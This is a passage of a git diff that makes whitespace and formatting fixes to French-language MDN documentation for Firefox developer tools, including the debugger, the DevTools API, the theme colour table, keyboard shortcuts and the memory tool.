modifier son contenu :</p> <p>{{EmbedYouTube("6edXcunw4jM")}}</p> diff --git a/files/fr/tools/debugger/how_to/breaking_on_exceptions/index.html b/files/fr/tools/debugger/how_to/breaking_on_exceptions/index.html index 8b2563f864..18d8de96ad 100644 --- a/files/fr/tools/debugger/how_to/breaking_on_exceptions/index.html +++ b/files/fr/tools/debugger/how_to/breaking_on_exceptions/index.html @@ -10,8 +10,6 @@ original_slug: Outils/Débogueur/Comment/Breaking_on_exceptions <div>Pour que le Débogueur s'arrête sur les <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Error">exceptions</a>, il suffit de cliquer sur une de ces cases à cocher dans la <a href="/fr/docs/Tools/Debugger/UI_Tour#Breakpoints_list">Liste des points d'arrêt</a> :</div> -<div> </div> - <div><img alt="Screen shot from 64.0+build3-0ubuntu0.16.04.1" src="https://mdn.mozillademos.org/files/16397/version64UI.png" style="height: 167px; width: 506px;"></div> <h4 id="Versions_antérieures">Versions antérieures</h4> diff --git a/files/fr/tools/debugger/how_to/debug_eval_sources/index.html b/files/fr/tools/debugger/how_to/debug_eval_sources/index.html index aee0c4ddb6..ea005ebdac 100644 --- a/files/fr/tools/debugger/how_to/debug_eval_sources/index.html +++ b/files/fr/tools/debugger/how_to/debug_eval_sources/index.html @@ -21,7 +21,7 @@ var button = document.getElementById("foo"); button.addEventListener("click", foo, false); </pre> -<p>Cela nome le script "mon-foo.js"en utilisant l'instruction <code>//# sourceURL</code>. Cette source est alors listée dans le <a href="/fr/docs/Tools/Debugger/UI_Tour#Source_list_pane">panneau de la liste des sources</a>, et peut être ouverte comme n'importe quelle source.</p> +<p>Cela nome le script "mon-foo.js"en utilisant l'instruction <code>//# sourceURL</code>. Cette source est alors listée dans le <a href="/fr/docs/Tools/Debugger/UI_Tour#Source_list_pane">panneau de la liste des sources</a>, et peut être ouverte comme n'importe quelle source.</p> <p>{{EmbedYouTube("nFm8F8Anmic")}}</p> diff --git a/files/fr/tools/debugger/how_to/ignore_a_source/index.html b/files/fr/tools/debugger/how_to/ignore_a_source/index.html index b81508c5d4..50bbfbad47 100644 --- a/files/fr/tools/debugger/how_to/ignore_a_source/index.html +++ b/files/fr/tools/debugger/how_to/ignore_a_source/index.html @@ -12,7 +12,7 @@ original_slug: Outils/Débogueur/Comment/Mettre_une_source_dans_une_boîte_noire <p><img alt="" src="https://mdn.mozillademos.org/files/13218/debugger-black-box.png" style="display: block; height: 401px; margin-left: auto; margin-right: auto; width: 922px;"></p> -<p>Il est possible de placer plusieurs fichiers sources dans des boîtes noires en ouvrant la <a href="/fr/docs/Tools/GCLI">Barre de développement</a> et utilisant la commande <code>dbg blackbox</code> :</p> +<p>Il est possible de placer plusieurs fichiers sources dans des boîtes noires en ouvrant la <a href="/fr/docs/Tools/GCLI">Barre de développement</a> et utilisant la commande <code>dbg blackbox</code> :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/5997/command.png" style="display: block; height: 48px; margin-left: auto; margin-right: auto; width: 537px;"></p> diff --git a/files/fr/tools/debugger/how_to/open_the_debugger/index.html b/files/fr/tools/debugger/how_to/open_the_debugger/index.html index 973d8f8503..9de39195d2 100644 --- a/files/fr/tools/debugger/how_to/open_the_debugger/index.html +++ b/files/fr/tools/debugger/how_to/open_the_debugger/index.html @@ -6,7 +6,7 @@ original_slug: Outils/Débogueur/Comment/Ouvrir_le_débogueur --- <div>{{ToolsSidebar}}</div> -<p>Il y a deux façons d'ouvrir le Débogueur :</p> +<p>Il y a deux façons d'ouvrir le Débogueur :</p> <ul> <li>Sélectionner "Débogueur" dans le menu Développement qui est un sous-menu du menu Firefox.</li> diff --git a/files/fr/tools/debugger/ui_tour/index.html b/files/fr/tools/debugger/ui_tour/index.html index a5b1870c21..9cf07351aa 100644 --- a/files/fr/tools/debugger/ui_tour/index.html +++ b/files/fr/tools/debugger/ui_tour/index.html @@ -56,7 +56,7 @@ original_slug: Outils/Débogueur/Visite_guidée_de_l_interface_utilisateur <p><img alt="" src="https://mdn.mozillademos.org/files/16843/debugger_uiTour_02.5.png" style="border: 1px solid black; display: block; height: 598px; margin-left: auto; margin-right: auto; width: 922px;"></p> -<p>Lorsque le panneau des sources est sélectionné, il est possible de <a href="/fr/docs/Tools/Debugger/How_to/Search#Searching_within_a_file">rechercher une string dans le fichier</a> en utilisant <kbd>Ctrl</kbd> + <kbd>F</kbd> (<kbd>Cmd</kbd> + <kbd>F</kbd> sur Mac).</p> +<p>Lorsque le panneau des sources est sélectionné, il est possible de <a href="/fr/docs/Tools/Debugger/How_to/Search#Searching_within_a_file">rechercher une string dans le fichier</a> en utilisant <kbd>Ctrl</kbd> + <kbd>F</kbd> (<kbd>Cmd</kbd> + <kbd>F</kbd> sur Mac).</p> <p><a href="/fr/docs/Tools/Debugger/How_to/Set_a_breakpoint">Les points d'arrêt</a> ont une flèche bleue superposée au numéro de ligne. Les <a href="/fr/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">points d'arrêt conditionnels</a> ont eux une flèche orange. Si le code est arrêté à un point d'arrêt, la flèche est surchargée de vert. Dans la capture d'écran ci-dessous, il y a trois points d'arrêt :</p> @@ -93,7 +93,7 @@ original_slug: Outils/Débogueur/Visite_guidée_de_l_interface_utilisateur <h2 id="Liste_des_points_darrêt">Liste des points d'arrêt</h2> -<p>Sous la barre d'outils, se trouve une liste de tous les points d'arrêt. À côté de chaque point, il y a une case à cocher qui permet <a href="/fr/docs/Tools/Debugger/How_to/Disable_breakpoints">d'activer/désactiver le point d'arrêt</a> :</p> +<p>Sous la barre d'outils, se trouve une liste de tous les points d'arrêt. À côté de chaque point, il y a une case à cocher qui permet <a href="/fr/docs/Tools/Debugger/How_to/Disable_breakpoints">d'activer/désactiver le point d'arrêt</a> :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/16845/debugger_uiTour_breakpoints.png" style="border: 1px solid black; display: block; height: 445px; margin-left: auto; margin-right: auto; width: 922px;"></p> diff --git a/files/fr/tools/devtoolsapi/index.html b/files/fr/tools/devtoolsapi/index.html index bef86427d4..dcb332c94f 100644 --- a/files/fr/tools/devtoolsapi/index.html +++ b/files/fr/tools/devtoolsapi/index.html @@ -108,7 +108,7 @@ original_slug: Outils/DevToolsAPI <dt> <h5 id="getToolDefinitionMap()"><code>getToolDefinitionMap()</code></h5> </dt> - <dd>Returns a toolId → {{anch("ToolDefinition")}} map for tools that are enabled.</dd> + <dd>Returns a toolId → {{anch("ToolDefinition")}} map for tools that are enabled.</dd> <dt> <h5 id="getToolDefinitionArray()"><code>getToolDefinitionArray()</code></h5> </dt> @@ -275,7 +275,7 @@ original_slug: Outils/DevToolsAPI <br> <strong>Return value:</strong><br> A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object of the loaded panel once the tool has loaded.<br> - </dd> + </dd> <dt> <h5 id="selectTool(toolId)"><code>selectTool(toolId)</code></h5> </dt> @@ -342,7 +342,7 @@ original_slug: Outils/DevToolsAPI <br> <strong>Return value:</strong><br> A {{domxref("Promise")}} that is fulfilled once the new host is ready.<br> - </dd> + </dd> <dt> <h5 id="reloadTarget(force)"><code>reloadTarget(force)</code></h5> </dt> @@ -799,7 +799,7 @@ gDevTools.once("netmonitor-init").then(toolbox => { <p>Register a tool</p> -<pre class="brush: js line-numbers language-js"><code class="language-js">gDevTools<span class="punctuation token">.</span><span class="function token">registerTool</span><span class="punctuation token">(</span><span class="punctuation token">{</span> +<pre class="brush: js line-numbers language-js"><code class="language-js">gDevTools<span class="punctuation token">.</span><span class="function token">registerTool</span><span class="punctuation token">(</span><span class="punctuation token">{</span> <span class="comment token">// FIXME: missing key related properties.</span> id<span class="punctuation token">:</span> <span class="string token">"inspector"</span><span class="punctuation token">,</span> icon<span class="punctuation token">:</span> <span class="string token">"chrome://browser/skin/devtools/inspector-icon.png"</span><span class="punctuation token">,</span> @@ -820,7 +820,7 @@ gDevTools.once("netmonitor-init").then(toolbox => { <p>Open a tool, or select it if the toolbox is already open:</p> -<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">let</span> target <span class="operator token">=</span> TargetFactory<span class="punctuation token">.</span><span class="function token">forTab</span><span class="punctuation token">(</span>gBrowser<span class="punctuation token">.</span>selectedTab<span class="punctuation token">)</span><span class="punctuation token">;</span> +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">let</span> target <span class="operator token">=</span> TargetFactory<span class="punctuation token">.</span><span class="function token">forTab</span><span class="punctuation token">(</span>gBrowser<span class="punctuation token">.</span>selectedTab<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="keyword token">let</span> toolbox <span class="operator token">=</span> gDevTools<span class="punctuation token">.</span><span class="function token">openToolbox</span><span class="punctuation token">(</span>target<span class="punctuation token">,</span> <span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">"inspector"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> toolbox<span class="punctuation token">.</span><span class="function token">once</span><span class="punctuation token">(</span><span class="string token">"inspector-ready"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">,</span> panel<span class="punctuation token">)</span> <span class="punctuation token">{</span> @@ -830,7 +830,7 @@ toolbox<span class="punctuation token">.</span><span class="function token">once <p>Add a sidebar to an existing tool:</p> -<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">let</span> sidebar <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">ToolSidebar</span><span class="punctuation token">(</span>xulTabbox<span class="punctuation token">,</span> toolPanel<span class="punctuation token">,</span> <span class="string token">"toolId"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">let</span> sidebar <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">ToolSidebar</span><span class="punctuation token">(</span>xulTabbox<span class="punctuation token">,</span> toolPanel<span class="punctuation token">,</span> <span class="string token">"toolId"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> sidebar<span class="punctuation token">.</span><span class="function token">addTab</span><span class="punctuation token">(</span><span class="string token">"tab1"</span><span class="punctuation token">,</span> <span class="string token">"chrome://browser/content/.../tab1.xhtml"</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span> sidebar<span class="punctuation token">.</span><span class="function token">addTab</span><span class="punctuation token">(</span><span class="string token">"tab2"</span><span class="punctuation token">,</span> <span class="string token">"chrome://browser/content/.../tab2.xhtml"</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span> sidebar<span class="punctuation token">.</span><span class="function token">show</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> diff --git a/files/fr/tools/devtoolscolors/index.html b/files/fr/tools/devtoolscolors/index.html index 7d4698d8d0..b8f4fa9c3a 100644 --- a/files/fr/tools/devtoolscolors/index.html +++ b/files/fr/tools/devtoolscolors/index.html @@ -17,7 +17,7 @@ original_slug: Outils/Couleurs_des_DevTools <table> <thead> <tr> - <th> </th> + <th></th> <th>Thème sombre</th> <th>Thème lumineux</th> <th>Variable CSS</th> @@ -28,18 +28,18 @@ original_slug: Outils/Couleurs_des_DevTools <th colspan="3"> <h3 id="Couleurs_Chrome">Couleurs Chrome</h3> </th> - <th> </th> + <th></th> </tr> <tr> <th>Onglets de barre d'outils</th> <td> - <div class="swatch" style="background: #252c33;"> </div> + <div class="swatch" style="background: #252c33;"> </div> <p>#252c33<br> rgba(37, 44, 51, 1)</p> </td> <td> - <div class="swatch" style="background: #ebeced;"> </div> + <div class="swatch" style="background: #ebeced;"> </div> #ebeced<br> rgba(235, 236, 237, 1)</td> <td>--theme-tab-toolbar-background</td> @@ -47,11 +47,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Barre d'outils</th> <td> - <div class="swatch" style="background: #343c45;"> </div> + <div class="swatch" style="background: #343c45;"> </div> #343c45<br> rgba(52, 60, 69, 1)</td> <td> - <div class="swatch" style="background: #f0f1f2;"> </div> + <div class="swatch" style="background: #f0f1f2;"> </div> #f0f1f2<br> rgba(240, 241, 242, 1)</td> <td>--theme-toolbar-background</td> @@ -59,11 +59,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Fond de sélection</th> <td> - <div class="swatch" style="background: #1d4f73;"> </div> + <div class="swatch" style="background: #1d4f73;"> </div> #1d4f73<br> rgba(29, 79, 115, 1)</td> <td> - <div class="swatch" style="background: #4c9ed9;"> </div> + <div class="swatch" style="background: #4c9ed9;"> </div> #4c9ed9<br> rgba(76, 158, 217, 1)</td> <td>--theme-selection-background</td> @@ -71,11 +71,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Couleur du texte de sélection</th> <td> - <div class="swatch" style="background: #f5f7fa;"> </div> + <div class="swatch" style="background: #f5f7fa;"> </div> #f5f7fa<br> rgba(245, 247, 250, 1)</td> <td> - <div class="swatch" style="background: #f5f7fa;"> </div> + <div class="swatch" style="background: #f5f7fa;"> </div> #f5f7fa<br> rgba(245, 247, 250, 1)</td> <td>--theme-selection-color</td> @@ -83,11 +83,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Séparateurs</th> <td> - <div class="swatch" style="background: #000000;"> </div> + <div class="swatch" style="background: #000000;"> </div> #000000<br> rgba(0, 0, 0, 1)</td> <td> - <div class="swatch" style="background: #aaaaaa;"> </div> + <div class="swatch" style="background: #aaaaaa;"> </div> #aaaaaa<br> rgba(170, 170, 170, 1)</td> <td>--theme-splitter-color</td> @@ -95,13 +95,13 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Commentaires</th> <td> - <div class="swatch" style="background: #5c6773;"> </div> + <div class="swatch" style="background: #5c6773;"> </div> <p>#5c6773<br> rgba(92, 103, 115, 1)</p> </td> <td> - <div class="swatch" style="background: #747573;"> </div> + <div class="swatch" style="background: #747573;"> </div> <p>#747573<br> rgba(116, 117, 115, 1)</p> @@ -114,16 +114,16 @@ original_slug: Outils/Couleurs_des_DevTools <th colspan="3"> <h3 id="Couleurs_de_contenu">Couleurs de contenu</h3> </th> - <th> </th> + <th></th> </tr> <tr> <th>Fond du "Body"</th> <td> - <div class="swatch" style="background: #14171a;"> </div> + <div class="swatch" style="background: #14171a;"> </div> #14171a<br> rgba(17, 19, 21, 1)</td> <td> - <div class="swatch" style="background: #fcfcfc;"> </div> + <div class="swatch" style="background: #fcfcfc;"> </div> #fcfcfc<br> rgba(252, 252, 252, 1)</td> <td>--theme-body-background</td> @@ -131,11 +131,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Fond de la "Sidebar"</th> <td> - <div class="swatch" style="background: #181d20;"> </div> + <div class="swatch" style="background: #181d20;"> </div> #181d20<br> rgba(24, 29, 32, 1)</td> <td> - <div class="swatch" style="background: #f7f7f7;"> </div> + <div class="swatch" style="background: #f7f7f7;"> </div> #f7f7f7<br> rgba(247, 247, 247, 1)</td> <td>--theme-sidebar-background</td> @@ -143,11 +143,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Fond de l'Attention</th> <td> - <div class="swatch" style="background: #b28025;"> </div> + <div class="swatch" style="background: #b28025;"> </div> #b28025<br> rgba(178, 128, 37, 1)</td> <td> - <div class="swatch" style="background: #e6b064;"> </div> + <div class="swatch" style="background: #e6b064;"> </div> #e6b064<br> rgba(230, 176, 100, 1)</td> <td>--theme-contrast-background</td> @@ -158,16 +158,16 @@ original_slug: Outils/Couleurs_des_DevTools <th colspan="3"> <h3 id="Couleurs_de_texte">Couleurs de texte</h3> </th> - <th> </th> + <th></th> </tr> <tr> <th>Texte du "Body"</th> <td> - <div class="swatch" style="background: #8fa1b2;"> </div> + <div class="swatch" style="background: #8fa1b2;"> </div> #8fa1b2<br> rgba(143, 161, 178, 1)</td> <td> - <div class="swatch" style="background: #18191a;"> </div> + <div class="swatch" style="background: #18191a;"> </div> #18191a<br> rgba(24, 25, 26, 1)</td> <td>--theme-body-color</td> @@ -175,11 +175,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Texte de premier plan gris</th> <td> - <div class="swatch" style="background: #b6babf;"> </div> + <div class="swatch" style="background: #b6babf;"> </div> #b6babf<br> rgba(182, 186, 191, 1)</td> <td> - <div class="swatch" style="background: #585959;"> </div> + <div class="swatch" style="background: #585959;"> </div> #585959<br> rgba(88, 89, 89, 1)</td> <td>--theme-body-color-alt</td> @@ -187,11 +187,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Texte de contenu de haut contraste</th> <td> - <div class="swatch" style="background: #a9bacb;"> </div> + <div class="swatch" style="background: #a9bacb;"> </div> #a9bacb<br> rgba(169, 186, 203, 1)</td> <td> - <div class="swatch" style="background: #292e33;"> </div> + <div class="swatch" style="background: #292e33;"> </div> #292e33<br> rgba(41, 46, 51, 1)</td> <td>--theme-content-color1</td> @@ -199,11 +199,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Texte de contenu gris</th> <td> - <div class="swatch" style="background: #8fa1b2;"> </div> + <div class="swatch" style="background: #8fa1b2;"> </div> #8fa1b2<br> rgba(143, 161, 178, 1)</td> <td> - <div class="swatch" style="background: #8fa1b2;"> </div> + <div class="swatch" style="background: #8fa1b2;"> </div> #8fa1b2<br> rgba(143, 161, 178, 1)</td> <td>--theme-content-color2</td> @@ -211,11 +211,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Texte de contenu gris sombre</th> <td> - <div class="swatch" style="background: #667380;"> </div> + <div class="swatch" style="background: #667380;"> </div> #667380<br> rgba(102, 115, 128, 1)</td> <td> - <div class="swatch" style="background: #667380;"> </div> + <div class="swatch" style="background: #667380;"> </div> #667380<br> rgba(102, 115, 128, 1)</td> <td>--theme-content-color3</td> @@ -226,16 +226,16 @@ original_slug: Outils/Couleurs_des_DevTools <th colspan="3"> <h3 id="Couleurs_de_surbrillance">Couleurs de surbrillance</h3> </th> - <th> </th> + <th></th> </tr> <tr> <th>Bleu</th> <td> - <div class="swatch" style="background: #46afe3;"> </div> + <div class="swatch" style="background: #46afe3;"> </div> #46afe3<br> rgba(70, 175, 227, 1)</td> <td> - <div class="swatch" style="background: #0088cc;"> </div> + <div class="swatch" style="background: #0088cc;"> </div> #0088cc<br> rgba(0, 136, 204, 1)</td> <td>--theme-highlight-blue</td> @@ -243,11 +243,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Violet</th> <td> - <div class="swatch" style="background: #6b7abb;"> </div> + <div class="swatch" style="background: #6b7abb;"> </div> #6b7abb<br> rgba(107, 122, 187, 1)</td> <td> - <div class="swatch" style="background: #5b5fff;"> </div> + <div class="swatch" style="background: #5b5fff;"> </div> #5b5fff<br> rgba(91, 95, 255, 1)</td> <td>--theme-highlight-purple</td> @@ -255,11 +255,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Rose</th> <td> - <div class="swatch" style="background: #df80ff;"> </div> + <div class="swatch" style="background: #df80ff;"> </div> #df80ff<br> rgba(223, 128, 255, 1)</td> <td> - <div class="swatch" style="background: #b82ee5;"> </div> + <div class="swatch" style="background: #b82ee5;"> </div> #b82ee5<br> rgba(184, 46, 229, 1)</td> <td>--theme-highlight-pink</td> @@ -267,11 +267,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Rouge</th> <td> - <div class="swatch" style="background: #eb5368;"> </div> + <div class="swatch" style="background: #eb5368;"> </div> #eb5368<br> rgba(235, 83, 104, 1)</td> <td> - <div class="swatch" style="background: #ed2655;"> </div> + <div class="swatch" style="background: #ed2655;"> </div> #ed2655<br> rgba(237, 38, 85, 1)</td> <td>--theme-highlight-red</td> @@ -279,11 +279,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Orange</th> <td> - <div class="swatch" style="background: #d96629;"> </div> + <div class="swatch" style="background: #d96629;"> </div> #d96629<br> rgba(217, 102, 41, 1)</td> <td> - <div class="swatch" style="background: #f13c00;"> </div> + <div class="swatch" style="background: #f13c00;"> </div> #f13c00<br> rgba(241, 60, 0, 1)</td> <td>--theme-highlight-orange</td> @@ -291,11 +291,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Orange clair</th> <td> - <div class="swatch" style="background: #d99b28;"> </div> + <div class="swatch" style="background: #d99b28;"> </div> #d99b28<br> rgba(217, 155, 40, 1)</td> <td> - <div class="swatch" style="background: #d97e00;"> </div> + <div class="swatch" style="background: #d97e00;"> </div> #d97e00<br> rgba(217, 126, 0, 1)</td> <td>--theme-highlight-lightorange</td> @@ -303,11 +303,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Vert</th> <td> - <div class="swatch" style="background: #70bf53;"> </div> + <div class="swatch" style="background: #70bf53;"> </div> #70bf53<br> rgba(112, 191, 83, 1)</td> <td> - <div class="swatch" style="background: #2cbb0f;"> </div> + <div class="swatch" style="background: #2cbb0f;"> </div> #2cbb0f<br> rgba(44, 187, 15, 1)</td> <td>--theme-highlight-green</td> @@ -315,11 +315,11 @@ original_slug: Outils/Couleurs_des_DevTools <tr> <th>Gris-bleu</th> <td> - <div class="swatch" style="background: #5e88b0;"> </div> + <div class="swatch" style="background: #5e88b0;"> </div> #5e88b0<br> rgba(94, 136, 176, 1)</td> <td> - <div class="swatch" style="background: #0072ab;"> </div> + <div class="swatch" style="background: #0072ab;"> </div> #0072ab<br> rgba(0, 114, 171, 1)</td> <td>--theme-highlight-bluegrey</td> diff --git a/files/fr/tools/dom_property_viewer/index.html b/files/fr/tools/dom_property_viewer/index.html index 97abbfb94a..6610e9ff31 100644 --- a/files/fr/tools/dom_property_viewer/index.html +++ b/files/fr/tools/dom_property_viewer/index.html @@ -22,7 +22,7 @@ original_slug: Outils/DOM_Property_Viewer <h2 id="Ouvrir_le_visionneur_de_propriétés_DOM">Ouvrir le visionneur de propriétés DOM</h2> -<p>Une fois l'outil activé, il est possible de l'ouvrir en sélectionnant l'onglet "DOM" depuis le menu développement du menu de Firefox (ou du menu Outils sous macOS). Il est également possible d'utiliser le raccourci clavier <kbd>Ctrl</kbd> + <kbd>Maj</kbd> + <kbd>W</kbd>.</p> +<p>Une fois l'outil activé, il est possible de l'ouvrir en sélectionnant l'onglet "DOM" depuis le menu développement du menu de Firefox (ou du menu Outils sous macOS). Il est également possible d'utiliser le raccourci clavier <kbd>Ctrl</kbd> + <kbd>Maj</kbd> + <kbd>W</kbd>.</p> <p>La <a href="/fr/docs/Tools/DevTools_Window">Boite à outils</a> apparaitra en bas du navigateur avec le visionneur de propriétés DOM activé. L'onglet s'appelle juste "DOM".</p> diff --git a/files/fr/tools/firefox_os_simulator_clone/index.html b/files/fr/tools/firefox_os_simulator_clone/index.html index d9820e8e47..a80f67bb7f 100644 --- a/files/fr/tools/firefox_os_simulator_clone/index.html +++ b/files/fr/tools/firefox_os_simulator_clone/index.html @@ -5,7 +5,7 @@ translation_of: Tools/Firefox_OS_Simulator_clone original_slug: Outils/Firefox_OS_Simulator_clone --- <div>{{ToolsSidebar}}</div><div class="note"> -<p>Cette page décrit le Simulateur Firefox OS à l'attention des développeurs qui ciblent Firefox OS à partir de la version 1.2. Si vous développez des applications pour Firefox OS 1.1, il faut à la place consulter la documentation pour le <a href="/en-US/docs/Tools/Firefox_OS_1.1_Simulator">Simulateur Firefox OS 1.1</a>.</p> +<p>Cette page décrit le Simulateur Firefox OS à l'attention des développeurs qui ciblent Firefox OS à partir de la version 1.2. Si vous développez des applications pour Firefox OS 1.1, il faut à la place consulter la documentation pour le <a href="/en-US/docs/Tools/Firefox_OS_1.1_Simulator">Simulateur Firefox OS 1.1</a>.</p> </div> <p><span style="line-height: 1.5;">Le Simulateur Firefox OS est une version des couches supérieures de<span style="line-height: 1.5;"> Firefox OS</span> qui permet de simuler le fonctionnement d'un appareil Firefox OS sur un ordinateur de bureau</span><span style="line-height: 1.5;">. Cela signifie que dans la plupart des cas, il n'est pas nécessaire d'avoir un véritable appareil pour tester et déboguer votre application. </span><span style="line-height: 1.5;">Il s'affiche dans une fenêtre de la même taille qu'un appareil Firefox OS, comprend l'interface utilisateur de Firefox OS et ses applications intégrées, et simule la plupart des APIs des appareils Firefox OS.</span></p> diff --git a/files/fr/tools/index.html b/files/fr/tools/index.html index 9d41c9c980..c717259c03 100644 --- a/files/fr/tools/index.html +++ b/files/fr/tools/index.html @@ -131,7 +131,7 @@ original_slug: Outils <h2 id="Outils_supplémentaires"><a id="More_Tools" name="More_Tools">Outils supplémentaires</a></h2> -<p>Ces outils sont également inclus dans Firefox. Mais, contrairement aux « Outils principaux », il est possible qu'ils soient utilisés moins régulièrement.</p> +<p>Ces outils sont également inclus dans Firefox. Mais, contrairement aux « Outils principaux », il est possible qu'ils soient utilisés moins régulièrement.</p> <div class="twocolumns"> <dl> diff --git a/files/fr/tools/json_viewer/index.html b/files/fr/tools/json_viewer/index.html index 8e51b83b93..bea384846a 100644 --- a/files/fr/tools/json_viewer/index.html +++ b/files/fr/tools/json_viewer/index.html @@ -7,7 +7,7 @@ original_slug: Outils/JSON_viewer <div>{{ToolsSidebar}}</div><div class="geckoVersionNote"> <p>Le Lecteur JSON est une des nouveautés de Firefox 44.</p> -<p>Avant Firefox 53, le Lecteur JSON n'est activé par défaut que dans Firefox Developer Edition et Firefox Nightly. Pour activer cette fonctionnalité dans les autres versions, il faut passer la préférence <code>devtools.jsonview.enabled</code> à <code>true</code> dans <code>about:config</code></p> +<p>Avant Firefox 53, le Lecteur JSON n'est activé par défaut que dans Firefox Developer Edition et Firefox Nightly. Pour activer cette fonctionnalité dans les autres versions, il faut passer la préférence <code>devtools.jsonview.enabled</code> à <code>true</code> dans <code>about:config</code></p> <p>Depuis Firefox 53, le Lecteur JSON est également activé par défaut dans Firefox Beta et dans la version normale de Firefox.</p> </div> diff --git a/files/fr/tools/keyboard_shortcuts/index.html b/files/fr/tools/keyboard_shortcuts/index.html index d33b55b951..745580400a 100644 --- a/files/fr/tools/keyboard_shortcuts/index.html +++ b/files/fr/tools/keyboard_shortcuts/index.html @@ -488,7 +488,7 @@ original_slug: Outils/Raccourcis_claviers <tr> <th scope="row">Copier l'extérieur du HTML du noeud sélectionné (depuis Firefox 42)</th> <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td> - <td><kbd>Cmd</kbd> + <kbd>C</kbd></td> + <td><kbd>Cmd</kbd> + <kbd>C</kbd></td> <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td> </tr> <tr> @@ -874,9 +874,9 @@ original_slug: Outils/Raccourcis_claviers </tr> <tr> <th scope="row">Itérer en avant parmis les commandes coresspondantes (après avoir initié une recherche inverse)</th> - <td> <kbd>Maj</kbd>+ <kbd>F9</kbd></td> - <td> <kbd>Maj</kbd>+ <kbd>F9</kbd></td> - <td> <kbd>Maj</kbd>+ <kbd>F9</kbd></td> + <td> <kbd>Maj</kbd>+ <kbd>F9</kbd></td> + <td> <kbd>Maj</kbd>+ <kbd>F9</kbd></td> + <td> <kbd>Maj</kbd>+ <kbd>F9</kbd></td> </tr> <tr> <th scope="row">Aller au début de la ligne</th> @@ -907,7 +907,7 @@ original_slug: Outils/Raccourcis_claviers <h3 id="Fenêtre_dauto-complétion">Fenêtre d'auto-complétion</h3> -<p>Ces raccourcis fonctionnent lorsque <a href="/fr/docs/Outils/Console_Web#Auto-complétion" title="/en-US/docs/Tools/Web_Console#Autocomplete">fenêtre d'auto-complétion</a> est ouvert :</p> +<p>Ces raccourcis fonctionnent lorsque <a href="/fr/docs/Outils/Console_Web#Auto-complétion" title="/en-US/docs/Tools/Web_Console#Autocomplete">fenêtre d'auto-complétion</a> est ouvert :</p> <table class="fullwidth-table"> <tbody> diff --git a/files/fr/tools/memory/aggregate_view/index.html b/files/fr/tools/memory/aggregate_view/index.html index a5a257d0b8..6a62a97130 100644 --- a/files/fr/tools/memory/aggregate_view/index.html +++ b/files/fr/tools/memory/aggregate_view/index.html @@ -83,7 +83,7 @@ original_slug: Outils/Memory/Aggregate_view <p>Une liste de toutes les fonctions qui ont alloué des objets s'affichera alors. Cette liste est triée par la taille des allocations :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13040/memory-tool-call-stack.png" style="display: block; height: 322px; margin-left: auto; margin-right: auto; width: 762px;"><br> - La structure de ce tri ressemble fortement à celle de <a href="/fr/docs/Tools/Performance/Call_Tree">l'Arbre d'appel</a>, à ceci près qu'il montre les allocations plutôt que des échantillons de processus. Par exemple, la première ligne ligne affiche que :</p> + La structure de ce tri ressemble fortement à celle de <a href="/fr/docs/Tools/Performance/Call_Tree">l'Arbre d'appel</a>, à ceci près qu'il montre les allocations plutôt que des échantillons de processus. Par exemple, la première ligne ligne affiche que :</p> <ul> <li>4,832,592 octets (93% de l'utilisation totale de la heap), ont été alloués dans une fonction à la ligne 35 du fichier "alloc.js", <strong>ou dans des fonctions appelées par cette fonction</strong></li> @@ -93,12 +93,12 @@ original_slug: Outils/Memory/Aggregate_view <p>Il est plus simple d'expliquer ce comportement avec un exemple. <a href="/fr/docs/Tools/Memory/DOM_allocation_example">Cette page contient</a> contient simplement un script qui génère un grand nombre de nœuds DOM (200 objets <code><a href="/fr/docs/Web/API/HTMLDivElement">HTMLDivElement</a></code> et 4000 objets <code><a href="/fr/docs/Web/API/HTMLSpanElement">HTMLSpanElement</a></code>) :</p> -<p>Réalisons maintenant une allocation trace. Pour cela, il faut :</p> +<p>Réalisons maintenant une allocation trace. Pour cela, il faut :</p> <ol> <li>Ouvrir l'outil Mémoire</li> <li>Cocher "Enregistrer les piles d'allocations"</li> - <li>Charger la page <a href="https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html">https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html</a></li> + 